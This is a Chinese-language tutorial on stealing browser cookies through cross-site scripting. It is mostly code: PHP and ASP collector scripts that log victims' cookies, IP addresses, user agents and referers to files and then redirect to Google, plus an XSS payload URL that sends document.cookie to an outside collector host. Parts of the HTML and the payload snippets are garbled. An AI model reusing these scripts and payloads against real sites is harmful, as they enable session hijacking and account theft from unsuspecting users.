天天看點

利用xss偷cookie教學

支援PHP

的網頁

PHP Code:

<head>

<meta http-equiv="Content-Language" content="it">

s Stealther - Designed and programmed by R00t[ATI]</title>

</head>

="#C0C0C0">

<p align="center"><font color="#FF0000">COOKIES STEALTHER</font></p>

<p align="center"><font face="Arial" color="#FF0000">By R00T[ATI]</font></p>

<p align="left"> </p>

</body>

<a></a>

documents.php取得cookie的網頁PHP Code:

&lt;?php

$ip = $_SERVER['REMOTE_ADDR'];

$referer = $_SERVER['HTTP_REFERER'];

$agent = $_SERVER['HTTP_USER_AGENT'];

$data = $_GET[c];

$time = date("Y-m-d G:i:s A");

$text

= "&lt;br&gt;&lt;br&gt;".$time." = ".$ip."&lt;br&gt;&lt;br&gt;User

Agent: ".$agent."&lt;br&gt;Referer:   ".$referer."&lt;br&gt;Session:

".$data."&lt;br&gt;&lt;br&gt;&lt;br&gt;";

$file = fopen('vb.php' , 'a');

fwrite($file,$text);

fclose($file);

header("Location: http://www.google.com");

?&gt;

Vb.php檔案是用來收集Cookie和其他資訊。

documents.php檔案用于抓取資料如: IP位址,使用者代理和cookie 。

documents.php?c="+document.cookie;如下例子:

Code:

http://vulnerable-site.com/vulnerable_page.php?vulnerable_method=&lt;script&gt;document.location="http://syshack.sy.funpic.de/documents.php?c="+document.cookie;&lt;/script&gt;

當受害者點到這個連結時cookie就被偷走了會存放在vb.php裡面

相關代碼:

?msg='+document.cookie+'" width=0 height=0 border=0 /&gt;');&lt;/script&gt;

news.asp代碼:

&lt;%

msg=Request.ServerVariables("QUERY_STRING")    

testfile=Server.MapPath("cook.txt")    

set fs=server.CreateObject("scripting.filesystemobject")    

set thisfile=fs.OpenTextFile(testfile,8,True,0)    

thisfile.Writeline(""&amp;msg&amp; "")    

thisfile.close    

set fs = nothing    

%&gt;

PHP版代碼:

$cookie = $_GET['c'];

$ip = getenv ('REMOTE_ADDR');

$time=date("j F, Y, g:i a");

$referer=getenv ('HTTP_REFERER');

$fp = fopen('cook.txt', 'a');

fwrite($fp,

'Cookie: '.$cookie.'&lt;br&gt; IP: ' .$ip. '&lt;br&gt; Date and Time: '

.$time. '&lt;br&gt; Referer:

'.$referer.'&lt;br&gt;&lt;br&gt;&lt;br&gt;');

fclose($fp);